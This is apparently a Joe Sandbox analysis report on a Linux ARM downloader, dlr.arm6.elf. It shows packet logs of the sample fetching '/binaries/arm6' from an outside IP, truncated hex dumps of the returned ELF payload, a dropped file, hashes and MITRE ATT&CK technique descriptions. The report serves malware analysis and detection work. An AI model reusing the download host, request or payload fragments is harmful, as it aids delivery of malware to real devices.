Dec 28, 2024 21:16:16.775883913 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.776402950 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:16.834039927 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:16.953716040 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.953816891 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.954910040 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:16.959064960 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.959125996 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.961035013 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:16.969784975 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.969862938 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.971194983 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:16.980458975 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.980608940 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.981242895 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:16.991230965 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.991286993 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:16.993103027 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:17.001840115 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:17.001938105 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:17.003012896 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:17.012517929 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:17.012695074 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:17.013001919 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:17.090682030 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:17.090784073 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:17.091454983 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:17.110145092 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:17.122488022 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:17.122610092 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:17.123322964 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:17.229897022 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:17.229933977 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:17.230314970 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:17.235177040 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:17.235524893 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:17.235651970 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:17.235935926 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:17.246243000 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:17.246351004 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:17.246885061 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:17.256958008 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:17.257016897 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:17.258021116 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:17.267617941 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:17.267699957 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:17.269218922 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:17.278407097 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:17.278498888 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:17.280347109 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:17.289084911 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:17.289212942 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:17.291163921 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:17.377738953 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:17.377851963 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:17.379141092 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:17.586199999 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:17.705722094 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:17.705905914 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:17.706417084 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:17.710056067 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:17.710134983 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:17.711896896 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:17.718630075 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:17.718805075 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:17.720218897 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:17.727185965 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:17.727333069 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:17.728897095 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:17.735665083 CET	80	44134	83.222.191.146	192.168.2.15
Dec 28, 2024 21:16:17.778961897 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:19.174901962 CET	44134	80	192.168.2.15	83.222.191.146
Dec 28, 2024 21:16:19.294481993 CET	80	44134	83.222.191.146	192.168.2.15

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.15	44134	83.222.191.146	80

Timestamp	Bytes transferred	Direction	Data
Dec 28, 2024 21:16:14.314248085 CET	46	OUT	GET /binaries/arm6 HTTP/1.0 Data Raw: 00 00 00 Data Ascii:
Dec 28, 2024 21:16:15.723124981 CET	1236	IN	HTTP/1.0 200 OK Accept-Ranges: bytes Content-Length: 166876 Content-Type: application/octet-stream Last-Modified: Sat, 28 Dec 2024 17:38:39 GMT Date: Sat, 28 Dec 2024 20:16:15 GMT Data Raw: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 02 00 28 00 01 00 00 00 54 81 00 00 34 00 00 00 d4 89 02 00 02 00 00 04 34 00 20 00 03 00 28 00 0d 00 0c 00 01 00 00 00 00 00 00 00 00 80 00 00 00 80 00 00 18 40 02 00 18 40 02 00 05 00 00 00 00 80 00 00 01 00 00 00 1c 40 02 00 1c 40 03 00 18 40 03 00 3c 49 00 00 a0 91 00 00 06 00 00 00 00 80 00 00 51 e5 74 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 00 00 00 04 00 00 00 0d c0 a0 e1 f0 df 2d e9 04 b0 4c e2 f0 af 1b e9 00 00 00 00 00 00 00 00 00 00 00 00 10 40 2d e9 2c 40 9f e5 00 30 d4 e5 00 00 53 e3 06 00 00 1a 20 30 9f e5 00 00 53 e3 1c 00 9f 15 0f e0 a0 11 13 ff 2f 11 01 30 a0 e3 00 30 c4 e5 10 40 bd e8 1e ff 2f e1 58 89 03 00 00 00 00 00 18 40 03 00 04 e0 2d e5 40 30 9f e5 00 00 53 e3 04 d0 4d e2 38 00 9f 15 38 10 9f 15 0f e0 a0 11 13 ff 2f 11 30 00 9f e5 00 30 90 e5 00 00 53 e3 03 00 00 0a 24 30 9f e5 00 00 53 e3 0f e0 a0 11 13 ff 2f 11 04 d0 8d e2 04 e0 9d e4 1e ff 2f e1 00 00 00 00 18 40 03 00 5c 89 03 00 28 40 03 00 00 00 [TRUNCATED] Data Ascii: ELF(T44 (@@@@@<IQtd-L@-,@0S 0S/00@/X@-@0SM88/00S$0S//@\(@ ---0XSp@-M` yNQp@@ t6+p6 0UNf<0C00`0-'00`@ Mp@Mp@/ 4cTbT]6AV R66V0UAAO-M4MM@P`UN0N CCd>B\:<L ;U"40z00@04 4LN+PO/P [TRUNCATED]
Dec 28, 2024 21:16:15.723181963 CET	1236	IN	Data Raw: d1 ff ff ea ab 42 00 eb 0c 00 8d e5 00 00 a0 e3 f5 35 00 eb 01 00 a0 e3 f3 35 00 eb 02 00 a0 e3 f1 35 00 eb f7 09 00 eb 2b 0b 00 eb 61 0c a0 e3 68 00 80 e2 9e 0f 00 eb 8e 2b 00 eb 00 00 50 e3 14 00 8d e5 2d 00 00 0a 3c c9 9f e5 0c 40 a0 e1 0f 00 Data Ascii: B555+ah+P-<@\BT]$P M`P ("4<"<",;0;L< 94@Ta+P
Dec 28, 2024 21:16:15.723207951 CET	1236	IN	Data Raw: e4 32 00 eb 22 ec 8d e2 ea c0 de e5 d4 04 9f e5 01 10 a0 e3 d0 24 9f e5 04 30 a0 e1 10 10 8d e8 55 10 00 eb 8b 1d 8d e2 2a 10 81 e2 01 20 a0 e3 01 39 a0 e3 00 00 99 e5 d6 32 00 eb 22 3c 8d e2 ea 20 d3 e5 04 10 a0 e1 01 39 a0 e3 00 00 99 e5 d0 32 Data Ascii: 2"$0U* 92"< 92/ 92"\:0\X$8,4"< 920$000"0! T01
Dec 28, 2024 21:16:15.723218918 CET	1236	IN	Data Raw: 08 99 02 00 c4 41 03 00 c0 41 03 00 78 89 03 00 ab aa aa 2a 7c 89 03 00 f8 98 02 00 40 99 02 00 cc 41 03 00 ec 41 03 00 74 89 03 00 fc cc 03 00 01 00 51 e3 00 20 a0 93 05 00 00 9a 00 20 a0 e3 02 10 41 e2 b2 30 d0 e0 01 00 51 e3 03 20 82 e0 fa ff Data Ascii: AAx*\|@AAtQ A0Q Q0 " /Sp@-`P@L0\\0(8"(#80%8 $80$0
Dec 28, 2024 21:16:15.723265886 CET	1236	IN	Data Raw: 3c c1 a0 e1 42 0d 8d e2 14 00 80 e2 0c c0 8d e5 6e 02 00 eb 02 20 a0 e3 01 1a 8d e2 b4 29 c1 e1 14 03 00 eb 01 3a 8d e2 01 ca 8d e2 35 ec a0 e3 0c 10 9d e5 b6 e9 cc e1 98 00 83 e5 01 cc a0 e3 01 30 85 e2 01 20 a0 e3 b0 10 ca e1 b2 20 ca e1 b4 c0 Data Ascii: <Bn ):50 `vH2 +Jp``B 0pL 9S0pE 2+200
Dec 28, 2024 21:16:15.723278999 CET	1236	IN	Data Raw: 01 1a 8d e2 09 50 80 e0 a0 40 81 e5 94 40 81 e5 98 40 81 e5 9c 40 81 e5 09 00 a0 e1 14 01 00 eb 11 00 80 e2 08 00 8d e5 d9 fd ff eb 02 39 a0 e3 06 31 83 e2 93 e0 82 e0 a2 c7 80 e0 10 10 a0 e3 0c c8 a0 e1 3c c1 a0 e1 42 0d 8d e2 14 00 80 e2 0c c0 Data Ascii: P@@@@91<B+ )7H:50 `v1 Hp``B p/pL
Dec 28, 2024 21:16:15.723289013 CET	668	IN	Data Raw: 01 20 f1 e5 01 30 43 e2 01 00 73 e3 01 20 c0 e4 fa ff ff 1a 0c 00 a0 e1 1e ff 2f e1 00 00 52 e3 1e ff 2f 01 00 c0 a0 e3 01 30 dc e7 00 30 cc e7 01 c0 8c e2 02 00 5c e1 fa ff ff 1a 1e ff 2f e1 00 00 51 e3 1e ff 2f 01 00 20 a0 e3 00 30 a0 e3 00 30 Data Ascii: 0Cs /R/00\/Q/ 00 R/R/00S/E-R,M`3P000.?Q 0R'0@@` Pp8Q00
Dec 28, 2024 21:16:15.723300934 CET	1236	IN	Data Raw: 06 00 54 e1 fa ff ff 1a 70 40 bd e8 1e ff 2f e1 04 e0 2d e5 04 d0 4d e2 07 fc ff eb 30 30 9f e5 93 10 82 e0 22 21 a0 e1 02 31 a0 e1 02 30 83 e0 00 00 63 e0 04 00 50 e3 86 0d e0 93 b1 01 40 92 b5 05 40 92 ff ff ff 9a 04 d0 8d e2 04 e0 9d e4 1e ff Data Ascii: Tp@/-M00"!10cP@@/0@-L@QM1SPa8F0@/AE-0S@PM 0S0G
Dec 28, 2024 21:16:15.723551035 CET	1236	IN	Data Raw: 01 20 a0 e3 05 30 d2 e7 06 30 c2 e7 01 20 82 e2 28 00 52 e3 fa ff ff 1a 5c c2 8d e5 05 10 a0 e1 10 c0 a0 e3 96 8f 8d e2 09 00 a0 e1 01 39 a0 e3 00 11 8d e8 0b 2c 00 eb 01 00 70 e3 7e 00 00 0a 05 c0 a0 e3 08 e0 a0 e3 00 40 a0 e3 09 00 a0 e1 01 10 Data Ascii: 00 (R\9,p~@ ?hlBEppp,9@@L,@TdPPD,'<0T\'\|P,9L[
Dec 28, 2024 21:16:15.723562956 CET	1236	IN	Data Raw: 00 40 a0 e1 be 00 d0 e1 db 4c 00 eb e5 36 00 eb 01 00 50 e3 09 10 a0 c3 47 39 00 cb 00 00 94 e5 00 00 50 e3 ad 49 00 1b 08 00 94 e5 00 00 50 e3 94 4c 00 0b a9 49 00 eb 00 00 a0 e3 91 4c 00 eb 70 40 2d e9 a8 c3 9f e5 00 e0 dc e5 80 d0 4d e2 00 00 Data Ascii: @L6PG9PIPLILp@-M^@P)0}03\|Pp'x@0P 0P Rp@/`V80C
Dec 28, 2024 21:16:15.843295097 CET	1236	IN	Data Raw: 00 00 96 e5 00 20 85 e5 04 30 c5 e5 01 11 a0 e1 fa 46 00 eb 00 30 d4 e5 00 20 a0 e1 03 51 80 e7 08 10 a0 e3 07 30 83 e0 07 00 a0 e1 00 30 c4 e5 00 20 86 e5 a4 46 00 eb 00 10 d4 e5 98 23 9f e5 00 50 a0 e1 0e 30 a0 e3 07 10 81 e0 00 00 96 e5 00 20 Data Ascii: 0F0 Q00 F#P0 0F0 Q00 FP#P0 0F0 Q00 ~F#P0 0

System Behavior

Analysis Process: dlr.arm6.elf PID: 5550, Parent PID: 5477

General

Start time (UTC):	20:16:13
Start date (UTC):	28/12/2024
Path:	/tmp/dlr.arm6.elf
Arguments:	/tmp/dlr.arm6.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report dlr.arm6.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Dropped Files

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/lzrd

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

HTTP Packets

System Behavior

Analysis Process: dlr.arm6.elf PID: 5550, Parent PID: 5477

General

Chronological Activities

Linux Analysis Report
dlr.arm6.elf